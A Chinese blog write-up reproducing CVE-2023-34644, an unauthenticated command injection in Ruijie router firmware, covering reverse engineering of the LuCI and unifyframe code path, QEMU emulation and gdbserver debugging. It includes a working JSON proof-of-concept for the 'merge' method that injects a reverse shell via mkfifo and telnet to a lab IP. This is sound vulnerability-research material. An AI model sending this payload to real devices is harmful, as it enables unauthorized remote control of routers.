0%

CVE-2023-34644复现_锐捷未授权命令执行

这是我目前复现的第二个漏洞,也挺难的,我觉得比第一次复现的DIR-815那个更复杂一点,大概花了近一个月的时间,期间很多次因为不同问题或同一个问题停滞。虽然是复现完了,但其实我感觉自己还没有懂透,尤其是逆向分析这部分很少有分析过这么多且复杂的代码,思路也大都是跟着其他师傅文章里的分析往下走的,等多复现几个漏洞后再来看看吧。不过呢,对于这次长达一个月的漏洞复现,还是有不少收获的。

固件

链接: https://pan.baidu.com/s/1wHkXiHIErOQ9RJUF1gCrlA

提取码: 7d79

直接从官网上下载的固件被加密过,需要对其进行解密,而且我也没有在官网上找到对应的固件🤨可能是因为时间有点久了下架了吧。因此呢,本文用的是已经解密过后的固件,直接用binwalk解压即可。

寻找漏洞文件

我们要先找到无鉴权的API接口,此类固件的cgi部分通常都是用lua所写的,因此可以直接定位到/usr/lib/lua/luci/controller/eweb/api.lua文件。

api.lua文件

api.lua文件在/usr/lib/lua/luci/controller/eweb/目录下,该文件的大致结构如下:

module("luci.controller.eweb.api", package.seeall)
--该行用于定义模块,其全名为luci.controller.eweb.api,
--package.seeall是module的第二个参数设置模块的所有变量和函数为全局可见
function index()
... --luci.controller.eweb.api模块也就是该文件的入口点
end
function rpc_auth() --认证模块
end
function rpc_common() --通用模块
end
--各种模块
function openvpn()
end

function index()函数中的部分代码如下:

local api = node("api") --定义一个名为 api 的节点 
api.sysauth = "admin" --设置该节点需要的系统认证角色为 admin
api.sysauth_authenticator = authenticator --将 authenticator 函数设置为该节点的认证函数
api.notemplate = true --设置该节点不使用模板
--定义具体的API路由
entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false

entry({"api", "auth"}, call("rpc_auth"), nil).sysauth = false表示当用户访问/api/auth路径时,会调用rpc_auth()函数。sysauth是LuCI框架中的一个属性,用于控制该路由是否需要系统认证,这里设置成了false表示不需要系统认证。

rpc_auth()函数:

function rpc_auth()
-- 加载模块
local jsonrpc = require "luci.utils.jsonrpc"
local http = require "luci.http"
local ltn12 = require "luci.ltn12"
local _tbl = require "luci.modules.noauth" -- _tbl是一个表,加载了模块中的函数作为表中内容
-- 检查请求体大小
if tonumber(http.getenv("HTTP_CONTENT_LENGTH") or 0) > 1000 then
http.prepare_content("text/plain") --设置HTTP的响应内容类型为text/plain
-- http.write({code = "1", err = "too long data"})
return "too long data"
end
http.prepare_content("application/json")
-- 处理 JSON-RPC 请求
ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end

这一部分会先对HTTP请求头中的Content_Length字段也就是请求体的大小进行检查,如果没有超过1000字节便会设置响应内容类型为application/json,然后处理JSON-RPC请求。ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)http.source()用于读取HTTP请求体中的数据,调用jsonrpc.handle()同时传入参数_tblhttp.source()对数据进行处理,然后将处理后的响应数据写入HTTP响应流中。

因为jsonrpc.handle()_tbl分别来自luci.utils.jsonrpcluci.modules.noauth,所以我们还要看看jsonrpc.lua(位于/usr/lib/lua/luci/utils/jsonrpc.lua)和noauth.lua(位于/usr/lib/lua/luci/modules/noauth.lua)这两个文件。

jsonrpc.lua文件

定位到其handle()函数:

function handle(tbl, rawsource, ...)
-- 用于将原始的HTTP请求数据传输到一个JSON解码器中,解析成JSON对象,解析成功stat为true
local stat, err = luci.ltn12.pump.all(rawsource, decoder:sink())
local json = decoder:get()
if stat then
if type(json.method) == "string" then --检查请求中的method字段是否为字符串,是则执行resolve()函数
local method = resolve(tbl, json.method)--一个包含可调用方法的表(table),这些方法将被JSON-RPC请求调用
if method then
response = reply(json.jsonrpc, json.id, proxy(method, json.params or {}))

return luci.json.Encoder(response, ...):source()
end

这段代码用于处理JSON-RPC请求,具体来说,它处理了请求中的method字段,查找并调用对应的方法,并生成响应。具体过程如下,如果从HTTP请求体中读取的JSON数据解析成功,会检查JSON-RPC请求中的method字段(表示要调用的方法名)是否为字符串(string)。

由此暂可推断出数据报的格式如下:

{
"method":"xxx"
}

json.method是字符串后,接着看resolve函数,参数method是数据报中的method字段,mod是传入的tblapi.lua中的_tbl),tbl是一个表,表中内容为luci.modules.noauth模块里的函数名。

function resolve(mod, method)--mod中有 singleLogin,login,merge,checkNet
local path = luci.util.split(method, ".")
for j = 1, #path - 1 do
if not type(mod) == "table" then
break
end
mod = rawget(mod, path[j])
if not mod then
break
end
end
mod = type(mod) == "table" and rawget(mod, path[#path]) or nil
if type(mod) == "function" then
return mod
end
end

resolve函数的作用是根据报文的method字段从mod表中返回一个函数对象,该函数对象有四个选择分别为singleLogin,login,merge,checkNet

resolve函数执行后,接着执行reply函数。由于reply()的参数调用了proxy(method, json.params or {}),我们先来看proxy函数,这个函数的作用是调用目标方法(method),也就是json.method,而json.params最终会是目标方法的参数即params

json.method

json.method可选值一共有login、singleLogin、merge和checkNet四个函数,其中singleLogin()无参数;checkNet()params.host是可控的,且其被拼接到了命令执行字符串中,但在此之前tool.checkIp(params.host)会对params.host进行正则匹配检查是否符合IP地址格式。

直接在luci.utils.tool(./usr/lib/lua/luci/utils/tool.lua)中可以看到checkIp():

function checkIp(str)
-- 放宽IP校验(tipcIp需要)
return string.len(str) < 50 and string.match(str, "^[\.%d:%a]+$") ~= nil
end

login()

接着分析login()其中有params.passwordparams.encryparams.limit三个可利用字段,不过也会有tool.includeXxs()对params.password进行检查,然后会调用tool.checkPasswd(checkStat)

function login(params)
...
local tool = require("luci.utils.tool")
if params.password and tool.includeXxs(params.password) then
tool.eweblog("INVALID DATA", "LOGIN FAILED")
return
end
...
local checkStat = {
password = params.password,
username = "admin", -- params.username,
encry = params.encry,
limit = params.limit
}
local authres, reason = tool.checkPasswd(checkStat)
...
end

定位到tool.includeXxs(),如下:

function includeXxs(str)
local ngstr = "[`&$;|]"
return string.match(str, ngstr) ~= nil
end

可知,tool.includeXxs(params.password)会对params.password进行一些与命令执行有关的危险字符过滤,但没有过滤\n这个命令分隔符

继续定位到tool.checkPasswd(),如下:

function checkPasswd(checkStat)
local cmd = require("luci.modules.cmd")
local _data = {
type = checkStat.encry and "enc" or "noenc",--checkStat.encry为true则type为enc,为flase则type为noenc
password = checkStat.password,
name = checkStat.username,
limit = checkStat.limit and "true" or nil
}
local _check = cmd.devSta.get({module = "adminCheck", device = "pc", data = _data})
if type(_check) == "table" and _check.result == "success" then
return true
end
return false, _check.reason
end

可知,在_data表中typelimit会根据params.encry和params.limit的值被赋予固定的字符串,name也是一个固定值为admin,此时便只剩password即params.password这一个可控参数。然后继续调用cmd.devSta.get()进行操作。

定位到cmd.devSta.get()(位于./usr/lib/lua/luci/modules/cmd.lua):

local opt = {"add", "del", "update", "get", "set", "clear", 'doc'}
acConfig, devConfig, devSta, devCap = {}, {}, {}, {}
for i = 1, #opt do
...
devSta[opt[i]] = function(params)
local model = require "dev_sta"
params.method = opt[i]
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end
...
end

在cmd.devSta.get()中会通过doParams函数对传入的Json参数进行解析,将其中的data等字段分离出来,传入fetch函数做进一步处理。

doParams函数中对data字段进行提取的时候,用到了luci.json.encode函数。这里的data字段就是上述checkPasswd函数中传入devSta.get作为Json参数的_data的内容,我们的疑似注入点password字段就在其中。此处的luci.json.encode函数会对\n(即\u000a)类字符进行转义,也就不会被解析成换行符了,不论我们后续再如何传参,这个疑似的漏洞点已经被封堵住了。

if params.data then
data = luci.json.encode(params.data)
_shell = _shell .. " '" .. data .. "'"
end

merge()

这个函数很简单,就调用了cmd.devSta.set(),且整个merge.params(json.params)参数都可控制也无任何过滤。

-- 网络合并
function merge(params)-- params就是传入的json.params
local cmd = require "luci.modules.cmd"
return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true}) -- data是json.params
end

cmd.devSta.set()中,doParams()执行完得到的data是json.params.data,接着会执行fetch()

devSta[opt[i]] = function(params)
local model = require "dev_sta"
params.method = opt[i]
params.cfg_cmd = "dev_sta"
local data, back, ip, password, shell = doParams(params)
return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
end -- deSta.data => json.params.data

接着看cmd.fetch(),这个函数会调用model.fetch(dev_sta.fetch())函数也就是传入其自身的第一个参数,而参数就是自身参数中的除前三个以外的参数,其中有可控data字段。

-- return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
local function fetch(fn, shell, params, ...)
require "luci.json"
local tool = require "luci.utils.tool"
local _start = os.time()
local _res = fn(...)
...

dev_sta.fetch()(位于/usr/lib/lua/dev_sta.lua)中对一些字段进行了重新赋值,最后调用了client_call函数,位于/usr/lib/lua/libuflua.so文件。

function fetch(cmd, module, param, back, ip, password, force, not_change_configId, multi)
local uf_call = require "libuflua"
...
local stat = uf_call.client_call(ctype, cmd, module, param, back, ip, password, force, not_change_configId, multi)

libuflua.so文件

libuflua.so是一个二进制文件,用IDA打开直接查找client_call函数,没有找到,有uf_client_call函数,

202504081952215

shift+f12搜索字符串,也只有uf_client_call

image-20250408195528076

这里有一个解释就是IDA没有把client_call解析成字符串,而是解析成了代码。那我们可以用010Editor打开该文件,搜索字符串client_call,发现其地址为0xff0

image-20250408200411164

然后在IDA中定位到0xff0地址,选中左边的地址,然后按A,就能以字符串的形式呈现了,如下

image-20250408201016082

选中client_call进行交叉引用跳到如下之处

image-20250408202529406

通过DATA XREF数据交叉引用提示可以知道,该数据从luaopen_libuflua函数的起始地址偏移2C字节处被引用,定位到该函数如下

image-20250408203414524

这段代码的作用是将扩展库libuflua注册到Lua环境中

在文件系统中搜索uf_client_call字符串,结合出现过其的二进制文件和libuflua.so文件所依赖的共享库,可以发现uf_client_call函数定义在/usr/lib/libunifyframe.so

image-20250408205758936

libunifyframe.so文件

用IDA打开libunifyframe.so文件,对uf_client_call函数进行分析,可知传进来的各个字段会被解析成JSON字符串,作为键值与自定义的键以键值对的形式添加到JSON对象中,然后JSON对象会被转换成JSON格式的字符串,通过uf_socket_msg_writesocket套接字进行数据传输。

既然这里采用uf_socket_msg_write进行数据发送,那么肯定有某个地方会使用uf_socket_msg_read进行数据接收,再进一步处理。匹配一下,一共三个文件,很容易锁定/usr/sbin/unifyframe-sgi.elf文件。又发现在初始化脚本/etc/init.d/unifyframe-sgi中,启动了unifyframe-sgi.elf,即说明unifyframe-sgi.elf一直挂在进程中。因此,我们可以确定unifyframe-sgi.elf就是接收libunifyframe.so所发数据的文件(这里采用了Ubus总线进行进程间通信)。

image-20250409142447149

分析二进制文件

在unifyframe-sgi.elf文件中定位到uf_socket_msg_read函数开始分析。uf_socket_msg_read(*v29, v31 + 1);中的两个参数第一个是文件描述符(ida分析libunifyframe.so文件),第二个是接收数据存储的位置(这个要动态调试对比uf_socket_msg_read函数执行前后a2寄存器存储的地址里的内容)

之后解析字段执行具体操作的两个函数分别为 parse_contentadd_pkg_cmd2_task,如下:

QQ_1745750405617

根据对parse_content的分析可知,具体进行数据解析的位置应该是parse_obj2_cmd函数

image-20250427184613995

parse_obj2_cmd 函数结束后,会执行 pkg_add_cmd(a1, v16) ,它的核心作用就是在 a1 这个数据结构中记录了 v16 的指针,使得后续操作通过 a1 访问到刚刚解析出来的各个字段。

ufm_handle函数中,由于我们是set方式,因此会调用到sub_410140函数。进入sub_410140函数,首先sn字段为空的条件满足,跳转到LABEL_36LABEL_36处会调用到sub_40DA38函数。

v6 = json_object_object_get(a1[22], "sn");
if ( !v6 )
goto LABEL_36;
...
LABEL_36:
...
v5 = sub_40DA38(a1, a1 + 21, 0LL, 0LL);

sub_40DA38函数中,定位到下面这一处,v5v6分别是a3a4,因为传入的值均为零,所以会进入else分支,这里会将data字段的内容拼接到两个单引号内。此处v4字符串形如/usr/sbin/module_call set networkId_merge 'xxx',很显然是一个命令,并且单引号内的内容我们可控,所以我们只需要左右分别闭合单引号,中间注入恶意命令,并用分隔符隔开即可完成命令注入。

LODWORD(v5) = a3;
v6 = a4;
...
else
{
v84 = snprintf(
v4,
v75,
"/usr/sbin/module_call %s %s",
*((const char **)v7 + 5),
(const char *)(*((_QWORD *)v7 + 23) + 16LL));
v85 = &v4[v84];
v86 = (const char *)*((_QWORD *)v7 + 19);
if ( v86 )
v85 += snprintf(&v4[v84], v75, " '%s'", v86);
...
}

接着,由之前的分析,此处v7偏移8的位置为0async不是false),故进入else分支,其中会将v4传入ufm_commit_add函数,作为第二个参数,然后继续进入async_cmd_push_queue函数。此处,a10,将a2存入v4偏移6\*8字节处,然后跳转到LABEL_34的位置。

if ( !a1 )
{
if ( a2 )
{
v19 = strdup(a2);
*(v7 + 28) = v19;
if ( v19 )
goto LABEL_34;

LABEL_34处,会释放一个信号量,信号量的地址是&unk_4360A8,对该地址进行交叉引用可以定位到sub_41AFC8函数,在该函数中会调用一个sub_41ADF0函数。

image-20250427191456589

sub_41ADF0函数中,a1偏移32的位置存储的值为0。因此,会将a1+13处的数据也就是命令执行字符串作为popen的参数执行,且没有任何过滤。

image-20250427192057384

poc:

{
"method":"merge",
"params":{
"sorry":"'$(mkfifo /tmp/test;telnet 192.168.107.136 6666 0</tmp/test|/bin/sh > /tmp/test)'"
}
}

仿真模拟

net.sh

#!/bin/sh
#sudo ifconfig eth0 down #关闭宿主机网卡接口
sudo brctl addbr br0 #添加一座名为br0的网桥
sudo brctl addif br0 ens33 #在br0中添加一个接口
sudo brctl stp br0 off #如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1 #设置br0的转发延迟
sudo brctl sethello br0 1 #设置br0的hello时间
sudo ifconfig br0 0.0.0.0 promisc up #启用br0接口
sudo ifconfig ens33 0.0.0.0 promisc up #启用网卡接口
sudo dhclient br0 #从dhcp服务器获得br0的IP地址
sudo brctl show br0 #查看虚拟网桥列表
sudo brctl showstp br0 #查看br0的各接口信息
sudo tunctl -t tap0 -u root #创建一个tap0接口,只允许root用户访问
sudo brctl addif br0 tap0 #在虚拟网桥中增加一个tap0接口
sudo ifconfig tap0 0.0.0.0 promisc up #启用tap0接口
sudo brctl showstp br0

start.sh(qemu启动脚本)

#!/bin/bash

sudo qemu-system-mipsel \
-cpu 74Kf \
-M malta \
-kernel /home/wen/Desktop/mips_qemu_system/vmlinux-2.6.32-5-4kc-malta \
-hda /home/wen/Desktop/mips_qemu_system/debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-nographic -net nic \
-net tap,ifname=tap0,script=no,downscript=no

首先将文件系统传到模拟器中

scp ./squashfs-root.tar.gz root@192.168.107.135:/root/

设置squashfs-root作为qemu模拟器的根目录(exit 退出

仿真系统只是切换了根目录,本质还是qemu虚拟机的系统,故procdev这两个重要的系统目录仍应该是这个系统本身的目录,即qemu虚拟机的系统目录,而切换了根目录后,procdev也被切换,因此需要挂载为原先的目录

cd squashfs-root
chmod -R 777 ./ #赋予权限
mount --bind /proc ./proc #将原根目录下的proc和dev挂载到squashfs-root目录下
mount --bind /dev ./dev
chroot . /bin/sh #将squashfs-root目录切换为根目录

在进行下一步前,先了解一下路由器根文件系统下的一些重点目录

目录 存储的文件
binsbin目录,
/usr/bin/usr/sbin目录
路由器中的应用程序
lib目录
/usr/lib目录
程序运行时需要的动态库文件
etc 程序自启动配置文件,
初始化脚本文件
各种服务器(Web服务器)的配置文件等路由器配置文件

首先,对于OpenWRT来说,内核加载完文件系统后,首先会启动/sbin/init进程,其中会进一步执行/etc/preinit/sbin/procd,进行初步初始化。这当然也是仿真模拟的第一步,在启动/sbin/init后,会卡住挂在进程中,我们可以再ssh开一个新窗口进行后续操作,也可以/sbin/init &将其作为后台进程执行

执行**/sbin/init**命令,然后ssh root@192.168.107.128另开一个终端

cd squashfs-root
chroot . sh

接着,真实系统会根据/etc/inittab中按编号次序执行/etc/rc.d中的初始化脚本,而/etc/rc.d中的文件都是/etc/init.d中对应文件的软链接。虽然说真实系统会依次执行所有的初始化脚本,但我们此处的仿真只是为了验证我们的漏洞,因此只需要部分仿真即可。

启动http服务,对应/etc/init.d/lighttpd初始化脚本,用**/etc/init.d/lighttpd start**命令启动服务。这一步报错了,缺少/var/run/lighttpd.pid文件,一般这种缺什么补什么就好了,创建/var/run/lighttpd.pid文件即可。

接下来要启动unifyframe-sgi,但是要先执行**/sbin/ubusd启动usbs服务,否则后面会报错,然后才能执行/etc/init.d/unifyframe-sgi start**命令启动unifyframe-sgi

执行**/usr/sbin/unifyframe-sgi.elf**运行程序,报错缺少/tmp/rg_device/rg_device.json文件,结合unifyframe-sgi.elf二进制文件分析,将/sbin/hw/60010081/rg_device.json复制到/tmp/rg_device/目录(该目录由自己创建)下即可。

攻击演示

image-20250427195149569

image-20250427195532949

gdbserver调试

gdbserver下载

kernel下载

这里是借助gdbserver通过网络进行远程调试。把下载的对应版本的gdbserver传到qemu模拟器中,在qemu中启动程序并使用gdbserver监听一个端口,然后在宿主机上远程连接即可。

#直接启动程序调试
./gdbserver-7.7.1-mipsel-mips32-v1 :1234 /usr/sbin/unifyframe-sgi.elf
#劫持已运行的进程调试
./gdbserver-7.7.1-mipsel-mips32-v1 :1234 --attach 11623 # 11623是要调试进程的pid
#在宿主机运行下面内容
gdb-multiarch
target remote 192.168.107.135:1234

报错:

pwndbg> target remote 192.168.207.135:1234

Remote debugging using 192.168.240.136:1234
Ignoring packet error, continuing...
warning: unrecognized item "timeout" in "qSupported" response
Ignoring packet error, continuing...
Remote replied unexpectedly to 'vMustReplyEmpty': timeout

查了一下是因为仿真环境的内核版本与gdbserver版本不匹配的问题,在启动仿真环境的时候设置-kernel参数为vmlinux-3.2.0-4-4kc-malta版本即可。

这个问题困扰了我不少时间,想到一开始搭建仿真环境的时候,图省事就没有重新下载内核文件用的还是上一个复现DIR815时的内核,没想到啊却因此费了很多时间和精力😅

参考文章

gdbserver 指南 - JiMoKuangXiangQu - 博客园

站在巨人肩膀上复现CVE-2023-34644 | ZIKH26’s Blog

[原创] 记一次全设备通杀未授权RCE的挖掘经历-智能设备-看雪-安全社区|安全招聘|kanxue.com